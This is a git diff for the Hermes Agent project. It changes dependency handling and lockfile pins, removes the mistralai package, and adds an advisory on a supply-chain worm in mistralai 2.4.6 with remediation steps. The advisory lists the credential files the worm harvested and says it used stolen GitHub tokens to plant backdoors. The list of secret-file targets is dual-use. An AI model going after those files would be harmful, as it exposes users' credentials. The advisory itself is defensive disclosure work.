_FIRECRAWL_CLS_CACHE = _cls
return _FIRECRAWL_CLS_CACHE
@ -358,6 +365,13 @@ def _get_parallel_client():
Requires PARALLEL_API_KEY environment variable.
"""
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("search.parallel", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
from parallel import Parallel
global _parallel_client
if _parallel_client is None:
@ -376,6 +390,13 @@ def _get_async_parallel_client():
Requires PARALLEL_API_KEY environment variable.
"""
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("search.parallel", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
from parallel import AsyncParallel
global _async_parallel_client
if _async_parallel_client is None:
@ -990,6 +1011,13 @@ def _get_exa_client():
Requires EXA_API_KEY environment variable.
"""
try:
from tools.lazy_deps import ensure as _lazy_ensure
_lazy_ensure("search.exa", prompt=False)
except ImportError:
pass
except Exception as e:
raise ImportError(str(e))
from exa_py import Exa
global _exa_client
if _exa_client is None:

235
uv.lock generated
View file

@ -1394,15 +1394,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/97/a8/c070e1340636acb38d4e6a7e45c46d168a462b48b9b3257e14ca0e5af79b/environs-14.6.0-py3-none-any.whl", hash = "sha256:f8fb3d6c6a55872b0c6db077a28f5a8c7b8984b7c32029613d44cef95cfc0812", size = 17205, upload-time = "2026-02-20T04:02:07.299Z" },
]
[[package]]
name = "eval-type-backport"
version = "0.3.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/fb/a3/cafafb4558fd638aadfe4121dc6cefb8d743368c085acb2f521df0f3d9d7/eval_type_backport-0.3.1.tar.gz", hash = "sha256:57e993f7b5b69d271e37482e62f74e76a0276c82490cf8e4f0dffeb6b332d5ed", size = 9445, upload-time = "2025-12-02T11:51:42.987Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/cf/22/fdc2e30d43ff853720042fa15baa3e6122722be1a7950a98233ebb55cd71/eval_type_backport-0.3.1-py3-none-any.whl", hash = "sha256:279ab641905e9f11129f56a8a78f493518515b83402b860f6f06dd7c011fdfa8", size = 6063, upload-time = "2025-12-02T11:51:41.665Z" },
]
[[package]]
name = "exa-py"
version = "2.10.2"
@ -1962,17 +1953,11 @@ name = "hermes-agent"
version = "0.13.0"
source = { editable = "." }
dependencies = [
{ name = "anthropic" },
{ name = "croniter" },
{ name = "edge-tts" },
{ name = "exa-py" },
{ name = "fal-client" },
{ name = "fire" },
{ name = "firecrawl-py" },
{ name = "httpx", extra = ["socks"] },
{ name = "jinja2" },
{ name = "openai" },
{ name = "parallel-web" },
{ name = "prompt-toolkit" },
{ name = "psutil" },
{ name = "pydantic" },
@ -1996,15 +1981,20 @@ all = [
{ name = "aiohttp-socks", marker = "sys_platform == 'linux'" },
{ name = "aiosqlite", marker = "sys_platform == 'linux'" },
{ name = "alibabacloud-dingtalk" },
{ name = "anthropic" },
{ name = "asyncpg", marker = "sys_platform == 'linux'" },
{ name = "boto3" },
{ name = "daytona" },
{ name = "debugpy" },
{ name = "dingtalk-stream" },
{ name = "discord-py", extra = ["voice"] },
{ name = "edge-tts" },
{ name = "elevenlabs" },
{ name = "exa-py" },
{ name = "fal-client" },
{ name = "fastapi" },
{ name = "faster-whisper" },
{ name = "firecrawl-py" },
{ name = "google-api-python-client" },
{ name = "google-auth-httplib2" },
{ name = "google-auth-oauthlib" },
@ -2013,9 +2003,9 @@ all = [
{ name = "markdown", marker = "sys_platform == 'linux'" },
{ name = "mautrix", extra = ["encryption"], marker = "sys_platform == 'linux'" },
{ name = "mcp" },
{ name = "mistralai" },
{ name = "modal" },
{ name = "numpy" },
{ name = "parallel-web" },
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
@ -2034,6 +2024,9 @@ all = [
{ name = "vercel" },
{ name = "youtube-transcript-api" },
]
anthropic = [
{ name = "anthropic" },
]
bedrock = [
{ name = "boto3" },
]
@ -2061,10 +2054,22 @@ dingtalk = [
{ name = "dingtalk-stream" },
{ name = "qrcode" },
]
edge-tts = [
{ name = "edge-tts" },
]
exa = [
{ name = "exa-py" },
]
fal = [
{ name = "fal-client" },
]
feishu = [
{ name = "lark-oapi" },
{ name = "qrcode" },
]
firecrawl = [
{ name = "firecrawl-py" },
]
google = [
{ name = "google-api-python-client" },
{ name = "google-auth-httplib2" },
@ -2097,12 +2102,12 @@ messaging = [
{ name = "slack-bolt" },
{ name = "slack-sdk" },
]
mistral = [
{ name = "mistralai" },
]
modal = [
{ name = "modal" },
]
parallel-web = [
{ name = "parallel-web" },
]
pty = [
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
@ -2145,7 +2150,6 @@ termux-all = [
{ name = "honcho-ai" },
{ name = "lark-oapi" },
{ name = "mcp" },
{ name = "mistralai" },
{ name = "ptyprocess", marker = "sys_platform != 'win32'" },
{ name = "python-telegram-bot", extra = ["webhooks"] },
{ name = "pywinpty", marker = "sys_platform == 'win32'" },
@ -2179,36 +2183,37 @@ youtube = [
[package.metadata]
requires-dist = [
{ name = "agent-client-protocol", marker = "extra == 'acp'", specifier = ">=0.9.0,<1.0" },
{ name = "aiohttp", marker = "extra == 'homeassistant'", specifier = ">=3.9.0,<4" },
{ name = "aiohttp", marker = "extra == 'messaging'", specifier = ">=3.13.3,<4" },
{ name = "aiohttp", marker = "extra == 'sms'", specifier = ">=3.9.0,<4" },
{ name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = ">=0.10,<1" },
{ name = "aiosqlite", marker = "extra == 'matrix'", specifier = ">=0.20" },
{ name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = ">=2.0.0" },
{ name = "anthropic", specifier = ">=0.39.0,<1" },
{ name = "asyncpg", marker = "extra == 'matrix'", specifier = ">=0.29" },
{ name = "agent-client-protocol", marker = "extra == 'acp'", specifier = "==0.9.0" },
{ name = "aiohttp", marker = "extra == 'homeassistant'", specifier = "==3.13.3" },
{ name = "aiohttp", marker = "extra == 'messaging'", specifier = "==3.13.3" },
{ name = "aiohttp", marker = "extra == 'sms'", specifier = "==3.13.3" },
{ name = "aiohttp-socks", marker = "extra == 'matrix'", specifier = "==0.11.0" },
{ name = "aiosqlite", marker = "extra == 'matrix'", specifier = "==0.22.1" },
{ name = "alibabacloud-dingtalk", marker = "extra == 'dingtalk'", specifier = "==2.2.42" },
{ name = "anthropic", marker = "extra == 'anthropic'", specifier = "==0.86.0" },
{ name = "asyncpg", marker = "extra == 'matrix'", specifier = "==0.31.0" },
{ name = "atroposlib", marker = "extra == 'rl'", git = "https://github.com/NousResearch/atropos.git?rev=c20c85256e5a45ad31edf8b7276e9c5ee1995a30" },
{ name = "boto3", marker = "extra == 'bedrock'", specifier = ">=1.35.0,<2" },
{ name = "croniter", specifier = ">=6.0.0,<7" },
{ name = "daytona", marker = "extra == 'daytona'", specifier = ">=0.148.0,<1" },
{ name = "debugpy", marker = "extra == 'dev'", specifier = ">=1.8.0,<2" },
{ name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = ">=0.20,<1" },
{ name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = ">=2.7.1,<3" },
{ name = "edge-tts", specifier = ">=7.2.7,<8" },
{ name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = ">=1.0,<2" },
{ name = "exa-py", specifier = ">=2.9.0,<3" },
{ name = "fal-client", specifier = ">=0.13.1,<1" },
{ name = "fastapi", marker = "extra == 'rl'", specifier = ">=0.104.0,<1" },
{ name = "fastapi", marker = "extra == 'web'", specifier = ">=0.104.0,<1" },
{ name = "faster-whisper", marker = "extra == 'voice'", specifier = ">=1.0.0,<2" },
{ name = "fire", specifier = ">=0.7.1,<1" },
{ name = "firecrawl-py", specifier = ">=4.16.0,<5" },
{ name = "google-api-python-client", marker = "extra == 'google'", specifier = ">=2.100,<3" },
{ name = "google-auth-httplib2", marker = "extra == 'google'", specifier = ">=0.2,<1" },
{ name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = ">=1.0,<2" },
{ name = "boto3", marker = "extra == 'bedrock'", specifier = "==1.42.89" },
{ name = "croniter", specifier = "==6.0.0" },
{ name = "daytona", marker = "extra == 'daytona'", specifier = "==0.155.0" },
{ name = "debugpy", marker = "extra == 'dev'", specifier = "==1.8.20" },
{ name = "dingtalk-stream", marker = "extra == 'dingtalk'", specifier = "==0.24.3" },
{ name = "discord-py", extras = ["voice"], marker = "extra == 'messaging'", specifier = "==2.7.1" },
{ name = "edge-tts", marker = "extra == 'edge-tts'", specifier = "==7.2.7" },
{ name = "elevenlabs", marker = "extra == 'tts-premium'", specifier = "==1.59.0" },
{ name = "exa-py", marker = "extra == 'exa'", specifier = "==2.10.2" },
{ name = "fal-client", marker = "extra == 'fal'", specifier = "==0.13.1" },
{ name = "fastapi", marker = "extra == 'rl'", specifier = "==0.133.1" },
{ name = "fastapi", marker = "extra == 'web'", specifier = "==0.133.1" },
{ name = "faster-whisper", marker = "extra == 'voice'", specifier = "==1.2.1" },
{ name = "fire", specifier = "==0.7.1" },
{ name = "firecrawl-py", marker = "extra == 'firecrawl'", specifier = "==4.17.0" },
{ name = "google-api-python-client", marker = "extra == 'google'", specifier = "==2.194.0" },
{ name = "google-auth-httplib2", marker = "extra == 'google'", specifier = "==0.3.1" },
{ name = "google-auth-oauthlib", marker = "extra == 'google'", specifier = "==1.3.1" },
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" },
{ name = "hermes-agent", extras = ["anthropic"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" },
{ name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" },
@ -2219,8 +2224,12 @@ requires-dist = [
{ name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" },
{ name = "hermes-agent", extras = ["edge-tts"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["exa"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["fal"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" },
{ name = "hermes-agent", extras = ["firecrawl"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" },
{ name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" },
@ -2232,9 +2241,8 @@ requires-dist = [
{ name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" },
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" },
{ name = "hermes-agent", extras = ["mistral"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["mistral"], marker = "extra == 'termux-all'" },
{ name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["parallel-web"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" },
{ name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" },
@ -2249,60 +2257,59 @@ requires-dist = [
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" },
{ name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" },
{ name = "hermes-agent", extras = ["youtube"], marker = "extra == 'all'" },
{ name = "hindsight-client", marker = "extra == 'hindsight'", specifier = ">=0.4.22" },
{ name = "honcho-ai", marker = "extra == 'honcho'", specifier = ">=2.0.1,<3" },
{ name = "httpx", extras = ["socks"], specifier = ">=0.28.1,<1" },
{ name = "jinja2", specifier = ">=3.1.5,<4" },
{ name = "lark-oapi", marker = "extra == 'feishu'", specifier = ">=1.5.3,<2" },
{ name = "markdown", marker = "extra == 'matrix'", specifier = ">=3.6,<4" },
{ name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = ">=0.20,<1" },
{ name = "mcp", marker = "extra == 'computer-use'", specifier = ">=1.2.0,<2" },
{ name = "mcp", marker = "extra == 'dev'", specifier = ">=1.2.0,<2" },
{ name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.2.0,<2" },
{ name = "mistralai", marker = "extra == 'mistral'", specifier = ">=2.3.0,<3" },
{ name = "modal", marker = "extra == 'modal'", specifier = ">=1.0.0,<2" },
{ name = "numpy", marker = "extra == 'voice'", specifier = ">=1.24.0,<3" },
{ name = "openai", specifier = ">=2.21.0,<3" },
{ name = "parallel-web", specifier = ">=0.4.2,<1" },
{ name = "prompt-toolkit", specifier = ">=3.0.52,<4" },
{ name = "psutil", specifier = ">=5.9.0,<8" },
{ name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = ">=0.7.0,<1" },
{ name = "pydantic", specifier = ">=2.12.5,<3" },
{ name = "pyjwt", extras = ["crypto"], specifier = ">=2.12.0,<3" },
{ name = "pytest", marker = "extra == 'dev'", specifier = ">=9.0.2,<10" },
{ name = "pytest-asyncio", marker = "extra == 'dev'", specifier = ">=1.3.0,<2" },
{ name = "pytest-split", marker = "extra == 'dev'", specifier = ">=0.9,<1" },
{ name = "pytest-xdist", marker = "extra == 'dev'", specifier = ">=3.0,<4" },
{ name = "python-dotenv", specifier = ">=1.2.1,<2" },
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = ">=22.6,<23" },
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = ">=22.6,<23" },
{ name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = ">=2.0.0,<3" },
{ name = "pyyaml", specifier = ">=6.0.2,<7" },
{ name = "qrcode", marker = "extra == 'dingtalk'", specifier = ">=7.0,<8" },
{ name = "qrcode", marker = "extra == 'feishu'", specifier = ">=7.0,<8" },
{ name = "qrcode", marker = "extra == 'messaging'", specifier = ">=7.0,<8" },
{ name = "requests", specifier = ">=2.33.0,<3" },
{ name = "rich", specifier = ">=14.3.3,<15" },
{ name = "ruamel-yaml", specifier = ">=0.18.16,<0.19" },
{ name = "ruff", marker = "extra == 'dev'" },
{ name = "simple-term-menu", marker = "extra == 'cli'", specifier = ">=1.0,<2" },
{ name = "slack-bolt", marker = "extra == 'messaging'", specifier = ">=1.18.0,<2" },
{ name = "slack-bolt", marker = "extra == 'slack'", specifier = ">=1.18.0,<2" },
{ name = "slack-sdk", marker = "extra == 'messaging'", specifier = ">=3.27.0,<4" },
{ name = "slack-sdk", marker = "extra == 'slack'", specifier = ">=3.27.0,<4" },
{ name = "sounddevice", marker = "extra == 'voice'", specifier = ">=0.4.6,<1" },
{ name = "tenacity", specifier = ">=9.1.4,<10" },
{ name = "hindsight-client", marker = "extra == 'hindsight'", specifier = "==0.6.1" },
{ name = "honcho-ai", marker = "extra == 'honcho'", specifier = "==2.0.1" },
{ name = "httpx", extras = ["socks"], specifier = "==0.28.1" },
{ name = "jinja2", specifier = "==3.1.6" },
{ name = "lark-oapi", marker = "extra == 'feishu'", specifier = "==1.5.3" },
{ name = "markdown", marker = "extra == 'matrix'", specifier = "==3.10.2" },
{ name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = "==0.21.0" },
{ name = "mcp", marker = "extra == 'computer-use'", specifier = "==1.26.0" },
{ name = "mcp", marker = "extra == 'dev'", specifier = "==1.26.0" },
{ name = "mcp", marker = "extra == 'mcp'", specifier = "==1.26.0" },
{ name = "modal", marker = "extra == 'modal'", specifier = "==1.3.4" },
{ name = "numpy", marker = "extra == 'voice'", specifier = "==2.4.3" },
{ name = "openai", specifier = "==2.24.0" },
{ name = "parallel-web", marker = "extra == 'parallel-web'", specifier = "==0.4.2" },
{ name = "prompt-toolkit", specifier = "==3.0.52" },
{ name = "psutil", specifier = "==7.2.2" },
{ name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = "==0.7.0" },
{ name = "pydantic", specifier = "==2.12.5" },
{ name = "pyjwt", extras = ["crypto"], specifier = "==2.12.1" },
{ name = "pytest", marker = "extra == 'dev'", specifier = "==9.0.2" },
{ name = "pytest-asyncio", marker = "extra == 'dev'", specifier = "==1.3.0" },
{ name = "pytest-split", marker = "extra == 'dev'", specifier = "==0.11.0" },
{ name = "pytest-xdist", marker = "extra == 'dev'", specifier = "==3.8.0" },
{ name = "python-dotenv", specifier = "==1.2.1" },
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'messaging'", specifier = "==22.6" },
{ name = "python-telegram-bot", extras = ["webhooks"], marker = "extra == 'termux'", specifier = "==22.6" },
{ name = "pywinpty", marker = "sys_platform == 'win32' and extra == 'pty'", specifier = "==2.0.15" },
{ name = "pyyaml", specifier = "==6.0.3" },
{ name = "qrcode", marker = "extra == 'dingtalk'", specifier = "==7.4.2" },
{ name = "qrcode", marker = "extra == 'feishu'", specifier = "==7.4.2" },
{ name = "qrcode", marker = "extra == 'messaging'", specifier = "==7.4.2" },
{ name = "requests", specifier = "==2.33.0" },
{ name = "rich", specifier = "==14.3.3" },
{ name = "ruamel-yaml", specifier = "==0.18.17" },
{ name = "ruff", marker = "extra == 'dev'", specifier = "==0.15.10" },
{ name = "simple-term-menu", marker = "extra == 'cli'", specifier = "==1.6.6" },
{ name = "slack-bolt", marker = "extra == 'messaging'", specifier = "==1.27.0" },
{ name = "slack-bolt", marker = "extra == 'slack'", specifier = "==1.27.0" },
{ name = "slack-sdk", marker = "extra == 'messaging'", specifier = "==3.40.1" },
{ name = "slack-sdk", marker = "extra == 'slack'", specifier = "==3.40.1" },
{ name = "sounddevice", marker = "extra == 'voice'", specifier = "==0.5.5" },
{ name = "tenacity", specifier = "==9.1.4" },
{ name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" },
{ name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.1a29,<0.0.22" },
{ name = "tzdata", marker = "sys_platform == 'win32'", specifier = ">=2023.3" },
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = ">=0.24.0,<1" },
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.24.0,<1" },
{ name = "vercel", marker = "extra == 'vercel'", specifier = ">=0.5.7,<0.6.0" },
{ name = "wandb", marker = "extra == 'rl'", specifier = ">=0.15.0,<1" },
{ name = "ty", marker = "extra == 'dev'", specifier = "==0.0.21" },
{ name = "tzdata", marker = "sys_platform == 'win32'", specifier = "==2025.3" },
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = "==0.41.0" },
{ name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = "==0.41.0" },
{ name = "vercel", marker = "extra == 'vercel'", specifier = "==0.5.7" },
{ name = "wandb", marker = "extra == 'rl'", specifier = "==0.25.1" },
{ name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" },
{ name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = ">=1.2.0" },
{ name = "youtube-transcript-api", marker = "extra == 'youtube'", specifier = "==1.2.4" },
]
provides-extras = ["modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "mistral", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"]
provides-extras = ["anthropic", "exa", "firecrawl", "parallel-web", "fal", "edge-tts", "modal", "daytona", "vercel", "hindsight", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "youtube", "web", "rl", "yc-bench", "all"]
[[package]]
name = "hf-transfer"
@ -2688,15 +2695,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/f8/62/d9ba6323b9202dd2fe166beab8a86d29465c41a0288cbe229fac60c1ab8d/jsonlines-4.0.0-py3-none-any.whl", hash = "sha256:185b334ff2ca5a91362993f42e83588a360cf95ce4b71a73548502bda52a7c55", size = 8701, upload-time = "2023-09-01T12:34:42.563Z" },
]
[[package]]
name = "jsonpath-python"
version = "1.1.5"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/2d/db/2f4ecc24da35c6142b39c353d5b7c16eef955cc94b35a48d3fa47996d7c3/jsonpath_python-1.1.5.tar.gz", hash = "sha256:ceea2efd9e56add09330a2c9631ea3d55297b9619348c1055e5bfb9cb0b8c538", size = 87352, upload-time = "2026-03-17T06:16:40.597Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/28/50/1a313fb700526b134c71eb8a225d8b83be0385dbb0204337b4379c698cef/jsonpath_python-1.1.5-py3-none-any.whl", hash = "sha256:a60315404d70a65e76c9a782c84e50600480221d94a58af47b7b4d437351cb4b", size = 14090, upload-time = "2026-03-17T06:16:39.152Z" },
]
[[package]]
name = "jsonschema"
version = "4.26.0"
@ -3117,25 +3115,6 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
]
[[package]]
name = "mistralai"
version = "2.3.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "eval-type-backport" },
{ name = "httpx" },
{ name = "jsonpath-python" },
{ name = "opentelemetry-api" },
{ name = "opentelemetry-semantic-conventions" },
{ name = "pydantic" },
{ name = "python-dateutil" },
{ name = "typing-inspection" },
]
sdist = { url = "https://files.pythonhosted.org/packages/4d/05/40c38c8893f0ec858756b30f4a939378fc62cf33565af538a843497f3f24/mistralai-2.3.0.tar.gz", hash = "sha256:eb371a9b3b62552f3d4a274ecf5b2c48b90fd3439ecd1425e7f5163cdd87e29a", size = 387145, upload-time = "2026-04-03T15:06:48.927Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/bd/57/d06cbfd96ec6dc45d5c1fe9456f7fcfcb9549c9fa91e213561d1d88729e7/mistralai-2.3.0-py3-none-any.whl", hash = "sha256:22111747c215f1632141660151924f06579f87cd8db2649e0b1f87721d076851", size = 925544, upload-time = "2026-04-03T15:06:47.593Z" },
]
[[package]]
name = "modal"
version = "1.3.4"

View file

@ -0,0 +1,138 @@
# Hermes Agent — Security Advisory: Mini Shai-Hulud worm (mistralai 2.4.6)
**Date:** May 12, 2026
**Status:** Quarantined upstream / mitigated in Hermes
**Severity:** Critical
**Affected:** Users who installed `hermes-agent[all]` or `hermes-agent[mistral]` between the upload of `mistralai 2.4.6` and PyPI's quarantine of the package.
## What happened
The Mini Shai-Hulud supply-chain worm crossed from npm to PyPI on 2026-05-12.
Among the compromised PyPI artifacts was `mistralai 2.4.6` — the official
Mistral AI Python SDK. The worm steals credentials from environment
variables and credential files (`~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`,
GitHub PATs, cloud SDK tokens) and exfils them to a hardcoded webhook.
Hermes Agent listed `mistralai>=2.3.0,<3` as the runtime dependency for its
optional Mistral TTS / STT providers. Users who installed
`pip install -e ".[all]"` between the malicious upload and the quarantine
pulled `mistralai 2.4.6` into their venv. PyPI has since removed the project
(`pypi:project-status: quarantined`), so the package is no longer
installable, but copies that landed before quarantine remain in users'
environments.
## Am I affected?
Run on the host where you installed Hermes:
```bash
hermes doctor
```
If the **Security Advisories** section flags
`mistralai==2.4.6`, you have the compromised package and must remediate.
If it flags any **other** version of `mistralai`, you are not on the
compromised release — but we still recommend uninstalling, since the
project is currently quarantined and we have disabled Mistral TTS / STT
in Hermes regardless.
You can also check manually:
```bash
pip show mistralai 2>/dev/null | grep -i version
```
## What we've done in Hermes Agent
1. **Removed `mistral` from the `[all]` extra** so fresh installs no
longer pull the package by default. (PR #24205, already on main.)
2. **Disabled the Mistral TTS and STT providers** in the runtime — they
return a "temporarily disabled" error and won't import the SDK even
if the venv still has it.
3. **Added a security advisory checker** (`hermes doctor` and CLI startup
banner) that detects `mistralai 2.4.6` if it's still installed and
surfaces remediation steps. The banner is rate-limited (max once per
24h per advisory) and dismissible via `hermes doctor --ack`.
4. **Hardened the installer fallback tiers.** When one extra's
dependency becomes unavailable on PyPI, the installer now degrades
gracefully — keeping every other extra — instead of dropping all the
way to a stripped install. Future supply-chain incidents won't
silently demote users.
5. **Added a lazy-install framework** (`tools/lazy_deps.py`) so opt-in
backends (Mistral, ElevenLabs, Honcho, etc.) can be installed on
demand when the user enables them, rather than eagerly at install
time. This shrinks every fresh install's blast radius for future
single-package compromises.
## What you should do
If `hermes doctor` flags `mistralai==2.4.6`, treat the credentials in
your environment as exposed:
1. **Uninstall the compromised package:**
```bash
pip uninstall -y mistralai
# or, if you installed via uv:
uv pip uninstall mistralai
```
2. **Rotate API keys.** Every key in `~/.hermes/.env` should be rotated:
OpenRouter, Anthropic, OpenAI, Nous, GitHub, AWS, Google, Mistral,
and any other provider tokens you have configured. If you used a
shell that exported keys (`.bashrc`, `.zshrc`, etc.), rotate those
too.
3. **Audit credential files** for tokens that may have been read:
`~/.npmrc`, `~/.pypirc`, `~/.aws/credentials`, `~/.config/gh/hosts.yml`,
`~/.docker/config.json`, `~/.kube/config`, `~/.ssh/`. The worm
harvested files matching these patterns.
4. **Check GitHub** for unexpected new SSH keys, deploy keys, or webhook
additions on repositories you have admin on. The worm uses stolen
GitHub tokens to add backdoors.
5. **After cleanup**, dismiss the Hermes warning:
```bash
hermes doctor --ack shai-hulud-2026-05
```
## When will Mistral TTS / STT come back?
When PyPI restores the `mistralai` project to a clean release and we
verify the new release on a clean network, we will re-enable Mistral
TTS / STT in Hermes Agent. Until then, use Edge TTS (default, no key),
ElevenLabs, OpenAI TTS, MiniMax TTS, or any of the user-defined command
providers. For STT, use Groq Whisper or OpenAI Whisper.
## Future hardening
This incident exposed two structural weaknesses in our install path:
- Eager-install of every optional extra meant ONE compromised package
could break the whole `[all]` resolve. **Fixed** via tiered fallback +
lazy-install framework.
- Users had no way to know whether they had a poisoned dependency.
**Fixed** via `hermes_cli/security_advisories.py` and the
`hermes doctor` integration.
We will continue to extend `tools/lazy_deps.py` so additional opt-in
backends (Slack, Matrix, Bedrock, DingTalk, Feishu, Google Workspace,
YouTube transcripts, etc.) can be installed on first use rather than
eagerly. This reduces the blast radius of any future single-package
compromise.
## References
- Socket Security report: <https://socket.dev/blog/mini-shai-hulud-worm-pypi>
- PyPI quarantine: <https://pypi.org/simple/mistralai/>
(project-status: quarantined as of 2026-05-12)
- Hermes Agent PR (mistral disabled): #24205
- Hermes Agent PR (advisory checker + lazy installs): _this PR_
- GitHub security advisory: _to be filed alongside this PR_
## Credits
Reported via [@SocketSecurity](https://twitter.com/SocketSecurity) and
the broader supply-chain security community. Hermes Agent's response
(detection, lazy-install framework, installer tier hardening) was built
by the Hermes Agent team at Nous Research.